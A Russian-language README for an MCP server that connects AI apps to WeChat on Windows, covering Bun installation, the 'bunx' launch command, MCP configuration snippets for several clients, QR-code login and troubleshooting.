📱 mcp-wechat-server — Запуск WeChat в ИИ

🧩 Что это делает

mcp-wechat-server позволяет ИИ-приложению отправлять и читать сообщения WeChat на вашем ПК с Windows.

Используйте его, если вам нужно:

• чтобы ИИ-агент отвечал в чатах WeChat

• единое место для входа и обработки сообщений

• вход по QR-коду вместо ввода паролей

• опрос сообщений, чтобы приложение могло ожидать новые сообщения

• простая настройка, которая работает на вашем компьютере

Он работает как MCP-сервер, поэтому подключается к ИИ-инструментам, поддерживающим протокол Model Context Protocol.

📥 Скачивание

Откройте страницу загрузки здесь:

Посетить страницу загрузки

Если вы используете Windows, перейдите на эту страницу, чтобы получить последние файлы, а затем скачайте и запустите приложение оттуда.

🪟 Настройка в Windows

Выполните следующие действия на ПК с Windows.

1. Откройте страницу загрузки

Перейдите по адресу:

https://github.com/Itzelma2310/mcp-wechat-server

Найдите последний релиз или основные файлы проекта.

2. Скачайте приложение

Скачайте файл или пакет для Windows со страницы.

Если вы видите файл релиза, сохраните его в папку, которую сможете легко найти, например:

• Загрузки

• Рабочий стол

• Документы

3. Установите Bun

Для работы этого приложения требуется Bun.

Скачайте Bun здесь:

https://bun.sh/

После установки откройте командную строку (Command Prompt) или PowerShell и проверьте, что он работает:

bun -v

Если вы видите номер версии, значит Bun готов к работе.

4. Запустите сервер

Откройте командную строку или PowerShell в папке, где сохранено приложение.

Выполните:

bunx mcp-wechat-server

Это запустит сервер WeChat.

5. Подключите ваше ИИ-приложение

Добавьте сервер в настройки MCP вашего ИИ-приложения.

Используйте следующую настройку:

{
  "mcpServers": {
    "wechat": {
      "command": "bunx",
      "args": ["mcp-wechat-server"]
    }
  }
}

Если ваше приложение использует другой файл конфигурации, добавьте ту же команду туда.

6. Войдите с помощью QR-кода

Когда сервер запускается, он может создать QR-код для входа в WeChat.

Вы можете отсканировать его одним из следующих способов:

• текстовый QR-код в терминале

• PNG-изображение QR-кода

• URL-ссылка

Отсканируйте код с помощью WeChat на телефоне и завершите вход.

🔧 Системные требования

Используйте ПК с Windows, на котором установлены:

• Windows 10 или Windows 11

• 2 ГБ свободного места на диске

• стабильное интернет-соединение

• Bun 1.0 или новее

• работающий аккаунт WeChat на телефоне

Для достижения наилучших результатов не выключайте ПК во время работы сервера.

⚙️ Как это работает

Приложение предоставляет вашему ИИ-инструменту несколько ключевых действий:

• вход в WeChat

• проверка новых сообщений

• отправка текстовых сообщений

• отображение статуса набора текста

• сохранение состояния после перезапуска

Он использует длинный опрос (long polling), поэтому может ожидать новые сообщения, вместо того чтобы проверять их слишком часто. При необходимости он может ждать долгое время.

🚀 Быстрый старт для ИИ-приложений

Claude Desktop

Добавьте это в claude_desktop_config.json:

{
  "mcpServers": {
    "wechat": {
      "command": "bunx",
      "args": ["mcp-wechat-server"]
    }
  }
}

OpenCode

Добавьте это в opencode.json:

{
  "mcp": {
    "wechat": {
      "type": "local",
      "command": ["bunx", "mcp-wechat-server"],
      "enabled": true
    }
  }
}

Cursor или другие MCP-клиенты

Используйте:

{
  "command": "bunx",
  "args": ["mcp-wechat-server"]
}

📲 Первый вход

После запуска приложения выполните следующее:

1. дождитесь появления QR-кода

2. откройте WeChat на телефоне

3. отсканируйте QR-код

4. подтвердите вход

Если код отображается как текст в терминале, вы можете скопировать его в просмотрщик QR-кодов или использовать PNG-изображение, если приложение его создает.

💬 Отправка и чтение сообщений

После входа в систему ИИ-агент может:

• читать входящие сообщения

• отправлять текстовые ответы

• проверять статус сообщения

• показывать статус набора текста во время работы

Это помогает ИИ действовать как чат-ассистент в WeChat.

🗂️ Сохраненные данные

Приложение хранит локальное состояние на вашем компьютере.

Сюда входит:

• информация для входа

• данные о позиции сообщений

• состояние сессии

Если вы перезапустите приложение, оно сможет продолжить работу без необходимости начинать все сначала.

🛠️ Общие шаги по настройке в Windows

Если приложение не запускается

Проверьте следующее:

• установлен ли Bun

• выполнили ли вы команду в нужной папке

• работает ли ваше интернет-соединение

• использует ли файл конфигурации правильную команду

Если QR-код не появляется

Попробуйте следующее:

• остановите приложение

• запустите его снова

• проверьте окно терминала на наличие текста QR-кода

• подождите несколько секунд, пока появится изображение или ссылка

Если вход в WeChat не выполняется

Убедитесь, что:

• вы отсканировали последний QR-код

• у вашего телефона есть доступ к сети

• запрос на вход был принят в WeChat

Если ваше ИИ-приложение не может подключиться

Проверьте конфигурацию MCP:

• команда должна быть bunx

• аргументы должны включать mcp-wechat-server

• файл конфигурации должен быть сохранен

• ИИ-приложение должно быть перезапущено после внесения изменений

🧠 Список инструментов

Этот сервер включает 6 инструментов MCP для задач WeChat.

Они охватывают:

• вход

• опрос сообщений

• отправку текста

• статус набора текста

• состояние сессии

• управление потоком сообщений

🔒 Конфиденциальность и локальное использование

Сервер работает на вашем компьютере.

Это означает, что:

• ваши данные для входа остаются на вашем ПК

• состояние сообщений остается локальным

• вы контролируете, когда приложение работает

📁 Простой путь настройки

Если вы хотите максимально быстро настроить все в Windows:

1. откройте страницу GitHub

2. скачайте или клонируйте проект

3. установите Bun

4. выполните bunx mcp-wechat-server

5. добавьте конфигурацию MCP в ваше ИИ-приложение

6. отсканируйте QR-код в WeChat

🧭 Базовый рабочий процесс

1. запустите сервер

2. войдите с помощью QR-кода

3. подключите ваше ИИ-приложение

4. позвольте ИИ читать и отправлять сообщения

5. держите приложение запущенным во время использования

📌 Чего ожидать после запуска

Когда приложение запускается, вы можете увидеть:

• окно терминала

• текст QR-кода

• запрос на вход

• активность сообщений в консоли

Это нормально. Приложение ожидает входа в WeChat, а затем обрабатывает сообщения для вашего ИИ-инструмента.

🧰 Полезная команда

Если вы хотите сначала протестировать Bun, используйте:

bun -v

Если вы хотите снова запустить сервер, используйте:

bunx mcp-wechat-server

🖥️ Для нетехнических пользователей

Если вы не привыкли к командной строке, следуйте этому простому порядку:

• скачайте приложение

• установите Bun

• откройте папку

• выполните команду

• отсканируйте QR-код

• подключите ваше ИИ-приложение

Если вы умеете копировать и вставлять текст, вы сможете это настроить.

📍 Скачать снова

Используйте эту страницу, чтобы получить последнюю версию:

https://github.com/Itzelma2310/mcp-wechat-server